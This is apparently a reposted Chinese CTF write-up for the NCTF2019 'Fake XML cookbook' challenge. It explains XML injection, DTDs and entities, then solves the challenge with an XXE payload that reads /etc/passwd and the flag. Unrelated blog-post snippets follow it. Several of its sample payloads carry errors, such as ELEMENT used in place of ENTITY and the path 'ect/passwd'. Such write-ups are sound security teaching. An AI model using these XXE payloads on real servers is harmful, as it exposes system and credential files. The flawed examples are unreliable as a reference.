[NCTF2019]Fake XML cookbook XML注入

news2024/11/27 7:23:46

目录

DTD

实体

外部实体

做题


看到这个界面就像admin 123456弱口令试试看

果然进不去

这里有个tips 但是没有办法点击 我们进源代码看看

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

发现源代码中就存在检测账号密码的内容

但是不知道该干嘛

dataType: "xml",

这里很奇怪 为啥xml我们直接搜搜看xml存在什么漏洞

XML注入攻击总结_xml攻击_洒脱的智障的博客-CSDN博客

发现存在xml注入漏洞

我们来学习一下

<?xml version="1.0" encoding="utf-8" ?>

<USER>

  <user Account="admin">用户输入</user>

<user Account="root">root</user>

</USER>


用户输入是我们可控的 我们那我们如果可以写xml代码

例如

admin</user><user Account="baby">baby</user>


那么就会被闭合实现注入 变为了

<?xml version="1.0" encoding="utf-8" ?>

<USER>

  <user Account="admin">admin</user>
  <user Account="baby">baby</user>
</user>

<user Account="root">root</user>

</USER>

插入了一个 user 名为 baby

这是最简单xml注入

这里是使用外部实体注入

DTD

首先我们需要了解什么是DTD
DTD是用来定义 xml的格式

例如 
<?xml version="1.0"?>
<!DOCTYPE message[
<!ELEMENT message(receiver,sender)>
]>

这里就定义了xml 需要以 message为根元素 

并且里面的内容为 receiver 和 sender

就和下面一样

<message>
<receiver>sqlilab</receiver>
<sender>usernamm</sender>
</message>

上面我们介绍完什么是DTD 现在介绍一下 什么是实体

实体

这里我们首先给出一个 DTD 

<?xml versiono="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xee "test">
]>


这里通过 DOCTYPE 规定了根元素为 foo

然后通过 ELEMENT 规定了内容为 ANY 就是所有的元素

重点是 !ENTITY 规定了 一个变量名 其中内容为 test

这个变量 我们可以通过 $xee进行引用

所以下面的代码就是

<aabb>
<user>&xee</user>
<passwd>admin</passwd>
</aabb>

因为接受了 ANY 所以不再局限  可以变为其他元素

这里的user值是通过 &xee的 所以其实真正的user值 是test

我们了解了什么是实体 我们现在看看什么是内部实体和外部实体

其实上面的写法 就是内部实体

外部实体

外部实体其实就可以引用外部的URL 或者进行伪协议读取

这里就会造成xml注入

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT xee SYSTEM "example.com">
]>

或者使用伪协议读文件

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT xee SYSTEM "file:///ect/passwd">
]>

做题

这里我们就大致了解完 xml注入的基础了

我们直接来做这个题目 我们使用 外部实体注入读取文件看看

我们首先进行测试 是否存在 外部实体xml注入

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 


这里我们就构造 

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

读取 /etc/passwd成功

我们看看直接读取 flag

直接成功了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1004888.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

flex 实现多行项目动态堆叠,随着屏幕尺寸而扩展减少

当您增加或减少屏幕尺寸时&#xff0c;这些 flex 项目会缩小和增长。 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"…

ARM Linux DIY(八)USB 调试

前言 V3s 带有一个 USB 接口&#xff0c;将其设置为 HOST 或 OTG 模式&#xff0c;这样可以用来接入键盘、鼠标等 USB 外设。 USB 简介 USB 有两种设备&#xff1a;HOST 和 USB 功能设备。 在 USB2.0 中又引入了一个新的概念 OTG&#xff0c;即设备角色可以动态切换。 切换方…

关系的定义及表示

关系的定义及表示 1、若集合R是AA的子集&#xff0c;则称R是集合A上的二元关系&#xff0c;简称关系 例&#xff1a;A{1,2}&#xff0c; AA{<1,1>,<1,2>,<2,1>,<2,2>}&#xff0c;AA的任何一个子集都是A上的关系 如&#xff1a; R{<1,1>, &…

B+Tree 索引结构

文章目录 1. 数据库索引2. BTree 索引结构 1. 数据库索引 索引是为了提高数据的查询速度&#xff0c;相当于给数据进行编号&#xff0c;在查找数据的时候就可以通过编号快速找到对应的数据。索引用的是 B Tree 数据结构。 乱序插入数据&#xff0c;会自动按照 id 进行升序排…

做题(1)

1.fileinclude 打开 发现提示flag在flag.php里边 查看页面源代码 $lan $_COOKIE[language]; 这句话是关键 变量lan是用cookie传参的 include("english.php"); 这句话表明了文件包含 include函数用php伪协议 filer绕过 include($lan.".php"); 这句话…

AI项目六:WEB端部署YOLOv5

若该文为原创文章&#xff0c;转载请注明原文出处。 一、介绍 最近接触网页大屏&#xff0c;所以就想把YOLOV5部署到WEB端&#xff0c;通过了解&#xff0c;知道了两个方法&#xff1a; 1、基于Flask部署YOLOv5目标检测模型。 2、基于Streamlit部署YOLOv5目标检测。 代码在…

Trinitycore学习之在vscode查看远端服务器上源码配置

1&#xff1a;安装vscode&#xff0c;去官网下载&#xff0c;这里下载windows版本安装包 .zip https://code.visualstudio.com/Download 2&#xff1a;安装后&#xff0c;安装扩展chinese&#xff0c;使用中文设置&#xff0c;需要重启vscode。 3&#xff1a;安装ssh相关插件…

C++设计模式_05_Observer 观察者模式

接上篇&#xff0c;本篇将会介绍C设计模式中的Observer 观察者模式&#xff0c;和前2篇模板方法Template Method及Strategy 策略模式一样&#xff0c;仍属于“组件协作”模式。Observer 在某些领域也叫做 Event 。 文章目录 1. 动机&#xff08; Motivation&#xff09;2. 代码…

Thonny安装教程

软件简介 Thonny —— 一个面向初学者的 Python IDE Thonny 由爱沙尼亚的 Tartu 大学开发&#xff0c;它采用了不同的方法&#xff0c;因为它的调试器是专为学习和教学编程而设计的。 下载&安装Thonny 下载地址 打开安装包&#xff0c;进入安装界面&#xff0c;一路Ne…

【每日一题】445. 两数相加 II

给你两个 非空 链表来代表两个非负整数。数字最高位位于链表开始位置。它们的每个节点只存储一位数字。将这两数相加会返回一个新的链表。 你可以假设除了数字 0 之外&#xff0c;这两个数字都不会以零开头。 示例1&#xff1a; 输入&#xff1a;l1 [7,2,4,3], l2 [5,6,4] 输…

电池电动汽车的健康状态 SOH 和充电状态 SOC 估计

完整程序请查看博主主页置顶博客&#xff08;专享优惠&#xff09; 主要内容&#xff1a; 健康状态 SOH采用平均加权最小二乘法&#xff08;AWTLS&#xff09;进行估计&#xff0c;并对比了加权最小二乘 &#xff08;WLS&#xff09;、总最小二乘法&#xff08;TLS&#xff0…

SQL7 查找年龄大于24岁的用户信息

描述 题目&#xff1a;现在运营想要针对24岁以上的用户开展分析&#xff0c;请你取出满足条件的设备ID、性别、年龄、学校。 用户信息表&#xff1a;user_profile iddevice_idgenderageuniversityprovince12138male21北京大学Beijing23214male复旦大学Shanghai36543female20…

GE IS215UCVGM06A IS215UCVGH1A VMIVME-7666-111000燃机模块

数据采集和监测&#xff1a;燃机模块通常具有广泛的数据采集功能&#xff0c;用于监测燃机的性能参数&#xff0c;如温度、压力、振动等。这些数据有助于运营人员实时监测燃机状态。 控制功能&#xff1a;这些模块通常包括控制逻辑和算法&#xff0c;用于管理燃机的启停、负荷…

山东大学图书馆《乡村振兴战略下传统村落文化旅游设计》许少辉八一新著

山东大学图书馆《乡村振兴战略下传统村落文化旅游设计》许少辉八一新著

2023年中国光伏行业研究报告

第一章 行业概况 1.1 定义 光伏行业&#xff0c;也称为太阳能光伏行业&#xff0c;是一个专注于利用光伏技术将太阳能转化为电能的领域。该行业涵盖了太阳能电池的制造、光伏系统的设计、安装和维护&#xff0c;以及电能的销售和供应。光伏技术的核心是光伏效应&#xff0c;通…

这家酒店,管理方式太out了!换个风格后绝了!

在酒店业&#xff0c;我们追求的不仅仅是舒适和奢华&#xff0c;还包括客人的安全与健康。然而&#xff0c;火灾风险是无论在何处都不可忽视的潜在威胁。每年&#xff0c;全球范围内数以千计的火灾事件发生&#xff0c;不仅造成了巨大的财产损失&#xff0c;还可能威胁到人们的…

mysql查所有下级

//向下递归包含本级 WITH RECURSIVE cte AS (SELECT * FROM live_usr_config WHERE supid"lNy5ZNI3WZ3QXSopb0mdr"UNION ALLSELECT d.* FROM live_usr_config d INNER JOIN cte ON d.supid cte.subid ) SELECT * FROM cte;//向下递归包含本级并限制次数为下两层 W…

Mathpix替代者|科研人必备公式识别插件|latexocr安装教程

首先是安装好python、然后直接用命令调用 文章目录 1、安装步骤2、使用步骤 1、安装步骤 也可以安装精简版的python 准备 Python 环境&#xff0c;安装python的步骤可以查看我的上一篇博文&#xff1a; Anaconda最新版2023安装教程Spyder安装教程 确保你的计算机已经安装了 P…

大数据课程L7——网站流量项目的操作步骤

文章作者邮箱:yugongshiye@sina.cn 地址:广东惠州 ▲ 本章节目的 ⚪ 了解网站流量项目的Spark与HBase整合; ⚪ 掌握网站流量项目的实时流业务处理; 一、 Spark 与 HBase 整合基础 1. 实现步骤: 1. 启动 IDEA。 2. 创建 Maven 工程,骨架选择 quickstar…

2023/09/12 qtc++

实现一个图形类(Shape) &#xff0c;包含受保护成员属性:周长、面积&#xff0c; 公共成员函数:特殊成员函数书写 定义一个圆形类(Circle) &#xff0c;继承自图形类&#xff0c;包含私有属性:半径 公共成员函数:特殊成员函数…